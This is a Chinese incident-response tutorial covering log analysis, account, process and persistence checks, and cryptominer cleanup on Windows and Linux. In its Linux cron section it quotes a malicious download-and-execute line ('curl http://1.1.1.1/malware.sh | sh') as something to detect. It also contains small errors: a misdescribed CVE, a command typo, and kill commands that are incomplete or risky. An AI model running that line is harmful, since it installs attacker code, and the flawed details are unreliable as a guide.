第一篇:应急响应概述与法律法规
一、应急响应概述
应急响应(Incident Response)是网络安全事件发生后的系统性处理流程,核心目标是通过规范化操作快速恢复业务、减少损失,并提升未来防御能力。例如:
- 场景:某公司服务器被勒索病毒加密文件,应急响应团队需立即隔离感染主机、分析攻击路径并恢复数据。
二、相关法律法规
1. 核心法律文件
- 《网络安全法》(2017年施行):要求企业履行网络安全等级保护义务,如日志留存至少6个月。
- 《数据安全法》(2021年施行):规范数据分类、备份和加密措施。
- 《个人信息保护法》(2021年施行):明确个人信息处理规则。
2. 等级保护制度
企业需完成以下步骤:
- 定级:确定系统保护级别(如二级系统)。
- 备案:向公安机关提交备案材料。
- 整改:修复不符合等级要求的安全漏洞。
- 测评:第三方机构验证安全措施有效性。
示例:某医院信息系统定级为三级,需部署防火墙、定期备份数据并通过年度测评。
三、日志留存要求
根据《网络安全法》第二十一条,企业需留存日志至少6个月。 Windows日志路径:
- 系统日志:
C:\Windows\System32\winevt\Logs\System.evtx
- 安全日志:
C:\Windows\System32\winevt\Logs\Security.evtx
Linux登录日志:
Bash# 查看最近登录记录
last
# 输出示例
root pts/0 192.168.1.100 Mon Sep 18 14:30 still logged in
四、简单代码示例
1. Windows查看开放端口
Cmd
netstat -ano | findstr :80
- 执行原理:
netstat
显示网络连接状态,-ano
参数列出所有连接、关联的进程ID(PID),findstr :80
过滤出使用80端口的连接。
2. Linux查找可疑文件
Bash
find /var/www/html -name "*.php" -mtime -1
- 执行原理:在
/var/www/html
目录中搜索过去1天内修改的PHP文件(可能为Webshell)。
第二篇:应急响应体系建立
一、威胁情报驱动的应急响应
威胁情报是应急响应的核心驱动力,通过收集、分析外部安全威胁信息,帮助企业快速定位攻击并制定应对策略。例如:
- 场景:某企业收到漏洞预警,称某中间件存在远程代码执行漏洞(CVE-2023-1234),威胁情报团队需快速验证漏洞影响范围。
威胁情报工作流程
- 情报获取:从公开平台(如CNVD、Twitter)、厂商合作渠道或付费订阅获取情报。
- 情报分析:筛选高优先级漏洞(如已公开EXP的远程漏洞)。
- 情报决策:编写分析报告,评估风险级别并提交领导审批。
- 情报处置:推动开发团队修复漏洞并验证修复结果。
二、OODA循环模型
OODA模型是应急响应的系统性方法论,包含四个步骤:
-
观察(Observation)
:收集事件相关数据,如日志、网络流量。
- 示例:发现服务器CPU异常飙升,使用
top
命令排查进程。
Bash top -c # 显示进程详情并按CPU使用率排序
- 示例:发现服务器CPU异常飙升,使用
-
判断(Orientation)
:分析数据,确定是否为安全事件。
- 示例:通过
netstat
发现异常外连IP。
Bash netstat -antp | grep ESTABLISHED # 查看已建立的连接
- 示例:通过
-
决策(Decision):制定修复方案,如隔离主机、封禁IP。
-
执行(Action):实施修复并验证效果。
三、情报处理流程详解
1. 情报获取
-
来源:CNVD、厂商公众号、威胁情报共享群。
-
工具示例
:使用
curl
从公开API获取漏洞信息。
Bash curl -X GET "https://api.threatbook.cn/v3/ip/query?apikey=YOUR_KEY&ip=1.1.1.1"
- 执行原理:通过API请求获取IP威胁情报,返回JSON格式数据。
2. 情报分析
-
优先级标准
:
- 高:已公开EXP且影响互联网暴露资产。
- 低:仅本地利用漏洞。
3. 情报决策
- 报告内容:漏洞描述、受影响资产列表、修复建议。
- 示例:某Web应用存在SQL注入漏洞,需升级至v2.3.1版本。
4. 情报处置
-
代码示例
:使用Ansible批量修复漏洞。
Yaml - name: Update web applicationapt:name: myappstate: latest
- 执行原理:通过自动化工具批量更新服务器上的应用版本。
四、应急响应类型与级别
1. 应急类型
类型 | 描述 | 示例 |
---|---|---|
病毒感染 | 勒索软件、挖矿木马 | 文件被加密,CPU占用100% |
入侵攻击 | Webshell、横向渗透 | 发现异常SSH登录记录 |
信息泄露 | 数据库暴露、配置错误 | 内网数据库公网可访问 |
2. 应急级别
- 严重/高危:需立即上报并现场处置(如核心数据库被入侵)。
- 中危/低危:按流程处理(如非关键系统存在低危漏洞)。
五、应急处置流程
-
识别
:确认事件性质,如使用
lastb
查看失败登录记录。
Bash lastb # 显示Linux系统近期登录失败的记录
-
遏制:隔离感染主机,封禁恶意IP。
-
消除:清除恶意文件,修复漏洞。
-
恢复:重启服务并监控状态。
-
反思:复盘事件原因,优化防御策略。
六、代码示例与原理
1. 查找Linux系统中24小时内修改的文件
Bash
find /var/www/html -type f -mtime -1 # 搜索/var/www/html下24小时内修改的文件
- 执行原理:
-mtime -1
表示修改时间在1天内的文件,常用于检测Webshell。
2. Windows查看计划任务
Cmd
schtasks /query /fo LIST # 列出所有计划任务
- 执行原理:
schtasks
命令用于管理计划任务,/fo LIST
以列表形式展示。
第三篇:常见网络安全事件响应过程与思路
一、应急响应核心原则
1. 3W1H原则
应急响应需围绕以下问题展开:
- Who:攻击者是谁?是否有内部人员参与?
- What:发生了什么事件?影响范围多大?
- Why:攻击者的动机是什么?(如数据窃取、破坏业务)
- How:攻击者如何入侵?利用了什么漏洞或手段?
示例: 某企业服务器CPU异常占用100%,通过top
命令发现可疑进程,结合网络流量分析确认是挖矿病毒。攻击路径为通过未修复的Apache Struts2漏洞入侵。
2. 易失性原则
优先收集易丢失的数据,顺序如下:
- 内存数据:使用
Volatility
工具提取进程和网络连接信息。 - 临时文件:查找
/tmp
目录下的可疑文件。 - 网络流量:通过
tcpdump
抓包分析异常通信。
代码示例:
Bash# 抓取80端口的流量
tcpdump -i eth0 port 80 -w capture.pcap
执行原理:-i eth0
指定网卡,port 80
过滤HTTP流量,-w
保存为文件供后续分析。
3. 要素原则
聚焦关键证据:
- 样本:恶意文件或代码(如Webshell)。
- 日志:系统日志、安全设备日志。
- 流量:异常外连IP或域名。
- 进程/模块:隐藏进程或注入的DLL。
示例: 发现/var/www/html
目录下存在backdoor.php
文件,通过strings
命令提取特征:
Bash
strings backdoor.php | grep "eval"
执行原理:strings
提取二进制文件中的可读字符串,grep "eval"
筛选可能包含恶意代码的行。
二、应急工具集与日志分析
1. 常用工具分类
工具类型 | 工具示例 | 用途 |
---|---|---|
流量分析 | Wireshark, tcpdump | 抓包分析异常通信 |
进程分析 | Process Explorer, ps | 查看进程树和资源占用 |
启动项分析 | Autoruns, systemctl | 检查自启动服务或任务 |
内存分析 | Volatility, MemScanner | 提取内存中的恶意代码 |
日志分析 | ELK Stack, Splunk | 集中化日志管理与分析 |
2. 日志分析实战
Windows安全日志分析 筛选登录失败事件(事件ID 4625):
Powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625} | Format-Table -Wrap
执行原理:通过PowerShell过滤安全日志中登录失败的记录。
Linux登录日志分析 查看最近成功登录记录:
Bash
last -i # 显示登录IP
执行原理:last
读取/var/log/wtmp
文件,显示用户登录历史。
三、常见病毒分类与应对
1. 病毒类型与特征
类型 | 特征 | 应对措施 |
---|---|---|
勒索病毒 | 加密用户文件,索要赎金 | 隔离主机,恢复备份 |
挖矿病毒 | CPU/GPU占用高,连接矿池IP | 终止进程,封禁矿池域名 |
蠕虫病毒 | 自动传播,消耗带宽 | 修复漏洞,清理恶意文件 |
木马后门 | 隐藏进程,监听端口 | 查杀进程,修复系统配置 |
2. 案例分析:挖矿病毒处理
步骤:
-
定位进程:通过
top
发现占用CPU的minerd
进程。 -
终止进程:
kill -9
。 -
删除文件:
rm /tmp/.minerd
。 -
封禁IP
:在防火墙屏蔽矿池IP(如):
1.1.1.1
Bash iptables -A INPUT -s 1.1.1.1 -j DROP
四、漏洞与补丁管理
1. 漏洞识别与修复
-
查看系统补丁(Windows):
Cmd systeminfo | findstr "KB"
执行原理:
systeminfo
列出系统信息,findstr
筛选补丁编号。 -
修复漏洞:使用包管理器更新软件(Linux):
Bash apt update && apt upgrade -y # Debian/Ubuntu
2. 漏洞利用示例
假设Apache Tomcat存在未授权上传漏洞(CVE-2020-1938):
- 验证漏洞:尝试访问
/manager/html
路径。 - 修复措施:升级至安全版本或禁用管理接口。
五、代码示例与原理
1. 查找Linux可疑定时任务
Bash
crontab -l # 列出当前用户的计划任务
执行原理:crontab -l
显示用户自定义的定时任务,常用于排查恶意任务。
2. Windows检测隐藏用户
Powershell
Get-LocalUser | Where-Object { $_.Enabled -eq $true }
执行原理:PowerShell命令筛选已启用的本地用户,排查未授权账户。
第四篇:入侵日志分析技术
一、日志分析简介
1. 日志类型与作用
日志是系统、设备或应用记录操作和事件的核心载体,常见类型包括:
- 系统日志:记录操作系统事件(如登录、服务启动)。
- 安全日志:记录安全相关事件(如权限变更、登录失败)。
- 应用日志:记录应用程序运行状态(如数据库操作、Web访问)。
2. 日志分析关键指标
- 准确性:避免误报或漏报(如误判正常登录为攻击)。
- 完整性:确保日志未被篡改(如通过哈希校验)。
- 时间同步:统一日志时区(如使用NTP协议同步时间)。
- 阈值监控:设置异常阈值(如单IP每分钟登录失败超过10次)。
二、Windows日志分析
1. 日志文件路径
- 系统日志:
C:\Windows\System32\winevt\Logs\System.evtx
- 安全日志:
C:\Windows\System32\winevt\Logs\Security.evtx
- 应用程序日志:
C:\Windows\System32\winevt\Logs\Application.evtx
2. 关键事件ID
事件ID | 说明 | 示例场景 |
---|---|---|
4624 | 登录成功 | 用户通过远程桌面成功登录 |
4625 | 登录失败 | 暴力破解攻击尝试 |
4720 | 创建用户 | 攻击者创建隐藏账户 |
7045 | 服务安装 | 恶意服务被安装到系统中 |
3. 代码示例:筛选登录失败事件
Powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625} | Format-Table -Wrap
执行原理:
Get-WinEvent
读取Windows事件日志。-FilterHashtable
过滤日志名称为“Security”且事件ID为4625的记录。Format-Table
将结果以表格形式展示。
4. 登录类型分析
登录类型 | 描述 |
---|---|
2 | 本地交互式登录 |
3 | 网络共享访问 |
10 | 远程桌面登录 |
示例: 发现登录类型为10的异常记录,可能是攻击者通过RDP爆破入侵。
三、Linux日志分析
1. 日志文件路径
- 登录记录:
/var/log/auth.log
或/var/log/secure
- 系统消息:
/var/log/messages
- 计划任务:
/var/log/cron
2. 常用命令
-
查看最近登录记录
:
Bash last -i # 显示登录IP
-
实时监控日志更新
:
Bash tail -f /var/log/secure # 实时输出日志尾部内容
3. 代码示例:分析SSH暴力破解
Bash
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr
执行原理:
grep
过滤包含“Failed password”的行(SSH登录失败)。awk
提取第11列(攻击者IP)。sort | uniq -c
统计每个IP的失败次数。sort -nr
按次数降序排序。
输出示例:
23 192.168.1.10015 61.171.43.191
四、Web服务器日志分析
1. 日志结构示例
192.168.1.100 - - [18/May/2023:14:22:35 +0800] "GET /admin.php HTTP/1.1" 404 1234
- 字段解析:客户端IP、时间戳、请求方法、路径、响应状态码、响应大小。
2. 攻击还原思路
- 步骤1:确定攻击时间范围(如通过文件修改时间)。
- 步骤2:搜索敏感路径(如
/admin.php
、/wp-login.php
)。 - 步骤3:追踪IP行为(如频繁访问登录页面)。
3. 代码示例:统计访问次数最多的IP
Bash
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head -10
执行原理:
awk
提取第一列(客户端IP)。sort | uniq -c
统计IP出现次数。head -10
显示前10个结果。
五、数据库日志分析(以MySQL为例)
1. 开启通用查询日志
SQLSET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/log/mysql/mysql.log';
作用:记录所有SQL语句,便于追踪异常操作(如DROP TABLE
)。
2. 敏感操作关键词
- 数据泄露:
SELECT * FROM users
- 数据破坏:
DROP TABLE users
- 权限提升:
GRANT ALL PRIVILEGES
3. 代码示例:查找可疑SQL语句
Bash
grep -i "drop table" /var/log/mysql/mysql.log
执行原理:
grep -i
不区分大小写搜索包含“drop table”的行。
六、工具与自动化
1. SIEM系统
- 功能:集中管理日志、实时告警、关联分析。
- 示例工具:Elasticsearch + Logstash + Kibana(ELK Stack)。
2. 日志分析工具
- Wireshark:分析网络流量中的恶意行为。
- Log Parser:将日志转换为结构化数据(如CSV)。
第五篇:Windows应急排查实战
一、应急排查核心原则
应急排查需遵循快速定位、最小化影响、保存证据的原则。排查过程中需重点关注系统账号、异常进程、开放端口、计划任务等关键点。
二、系统账号排查
1. 检查本地用户和组
Cmd
net user # 查看本地用户列表
net localgroup # 查看本地用户组
net localgroup administrators # 查看管理员组成员
执行原理:
net user
列出所有本地用户,检查是否存在未知账户(如hacker
)。net localgroup administrators
确认管理员组权限分配是否合理。
2. 查看远程登录记录
Powershell
Get-EventLog Security -InstanceId 4624 | Where-Object {$_.Message -match "登录类型 10"} | Format-List
执行原理:
- 筛选安全日志中事件ID为4624(登录成功)且登录类型为10(远程桌面)的记录,定位可疑IP。
三、进程与端口排查
1. 查看网络连接与进程
Cmd
netstat -ano | findstr :80 # 查看80端口的连接
tasklist | findstr "PID" # 根据PID查找进程名称
taskkill /F /PID 1234 # 强制终止PID为1234的进程
执行原理:
netstat -ano
显示所有网络连接及其关联的进程PID。taskkill
用于终止恶意进程(如挖矿程序)。
2. 分析进程路径
通过任务管理器或Process Explorer工具:
- 右键进程 → 打开文件位置。
- 检查路径是否为系统目录(如
C:\Windows\System32
)或未知路径。
四、计划任务与启动项排查
1. 检查计划任务
Cmd
chtasks /query /fo LIST # 列出所有计划任务
执行原理:
- 查看是否有异常任务(如定时执行
backdoor.exe
)。
2. 排查注册表启动项
Cmd
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
执行原理:
- 检查注册表启动项中是否有未知程序(如
C:\malware.exe
)。
五、文件与日志排查
1. 查找最近修改的文件
Cmd# 查找C盘24小时内修改的文件
forfiles /P C:\ /S /D -1 /C "cmd /c echo @path @fdate @ftime"
执行原理:
/D -1
筛选1天内修改的文件,常用于定位Webshell或病毒文件。
2. 分析安全日志
Powershell# 筛选创建用户事件(事件ID 4720)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4720} | Format-Table -Wrap
执行原理:
- 事件ID 4720表示用户创建操作,用于检测攻击者是否添加后门账户。
六、自动化查杀工具
1. 病毒查杀
- 工具:卡巴斯基KVRT(绿色版)、360杀毒。
- 命令:全盘扫描并隔离威胁。
Cmd
KVRT.exe /silent /accepteula /report=scan_report.txt
2. Webshell查杀
- 工具:D盾、河马Webshell查杀。
- 操作:上传网站目录至工具,自动检测恶意脚本。
七、实战案例:挖矿病毒处置
1. 现象
- CPU占用率100%,任务管理器发现
xmrig.exe
进程。
2. 排查步骤
-
终止进程并删除文件:
Cmd taskkill /F /IM xmrig.exe del C:\Windows\Temp\xmrig.exe
-
封禁矿池IP:
Cmd netsh advfirewall firewall add rule name="Block Miner" dir=in action=block remoteip=1.1.1.1
-
修复漏洞:更新存在弱口令的Redis服务。
第六篇:Linux应急排查实战
一、Linux应急排查核心原则
Linux系统应急排查需聚焦系统权限、异常进程、隐蔽后门、日志痕迹等关键点。排查过程中需结合命令行工具快速定位问题,并通过案例化的操作流程帮助初学者理解。
二、文件与权限排查
1. 查找可疑文件
Bash# 查找24小时内修改的文件(常用于检测Webshell)
find /var/www/html -type f -mtime -1
执行原理:
-type f
:筛选普通文件(非目录)。-mtime -1
:查找最近1天内修改的文件。
示例: 若发现/var/www/html/backdoor.php
在异常时间被修改,需进一步分析是否为恶意脚本。
2. 检查文件隐藏属性
Bash# 查看文件隐藏属性
lsattr /etc/passwd
# 移除不可修改属性(针对被锁定的恶意文件)
chattr -i /tmp/.malware
执行原理:
lsattr
:显示文件的扩展属性(如i
表示不可修改)。chattr -i
:移除文件的不可修改属性,便于删除恶意文件。
三、进程与端口排查
1. 查看系统进程
Bash# 显示所有进程(按CPU占用排序)
top -c
# 过滤特定进程(如挖矿程序)
ps aux | grep xmrig
执行原理:
ps aux
:列出所有进程的详细信息(用户、PID、CPU占用等)。grep xmrig
:筛选包含“xmrig”的进程(常见挖矿程序)。
2. 分析网络连接
Bash# 查看所有TCP连接及关联进程
netstat -antp
# 过滤异常外连IP(如矿池地址)
netstat -antp | grep 1.1.1.1
执行原理:
-a
:显示所有连接。-n
:以数字形式显示IP和端口。-p
:显示进程信息(需root权限)。
四、日志分析实战
1. SSH登录失败分析
Bash# 统计SSH登录失败次数最多的IP
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr
输出示例:
45 61.171.43.19123 192.168.1.100
执行原理:
awk '{print $11}'
:提取日志中第11列(攻击者IP)。sort | uniq -c
:统计IP出现次数。
2. 实时监控日志更新
Bash# 实时跟踪安全日志(检测入侵行为)
tail -f /var/log/secure
执行原理:
tail -f
:持续输出文件尾部新增内容,适用于动态监控。
五、后门与定时任务排查
1. 检查计划任务
Bash# 查看当前用户的定时任务
crontab -l
# 查看系统级定时任务
ls /etc/cron.*
示例: 若发现异常任务(如每5分钟连接外部IP):
*/5 * * * * curl http://1.1.1.1/malware.sh | sh
2. 排查Rootkit后门
Bash# 使用rkhunter扫描Rootkit
rkhunter --check
执行原理:
- 检测系统二进制文件是否被篡改、隐藏进程或目录等Rootkit特征。
六、用户与权限管理
1. 检查特权用户
Bash# 查看具有sudo权限的用户
grep '^sudo' /etc/group
# 检查/etc/passwd中的异常用户
awk -F: '$3 == 0' /etc/passwd
执行原理:
$3 == 0
:筛选UID为0的用户(root用户)。
2. 禁用可疑用户
Bash# 锁定用户(禁止登录)
usermod -L username
# 删除用户及主目录
userdel -r username
七、自动化查杀工具
1. 病毒查杀
- 工具:ClamAV(开源杀毒引擎)
Bash# 安装并全盘扫描
sudo apt install clamav
sudo freshclam # 更新病毒库
sudo clamscan -r / # 全盘扫描
2. Webshell查杀
- 工具:Linux版河马Webshell查杀
Bash# 下载并解压工具
wget https://www.shellpub.com/hm-linux.tar.gz
tar -zxvf hm-linux.tar.gz
# 扫描网站目录
./hma -d /var/www/html
八、实战案例:挖矿病毒处置
1. 现象
- CPU占用率100%,
top
显示kworker
进程异常。
2. 排查步骤
- 终止进程:
Bash
kill -9 $(pidof kworker)
- 删除恶意文件:
Bash
rm -f /tmp/.kworker
- 封禁矿池IP:
Bash
iptables -A INPUT -s 1.1.1.1 -j DROP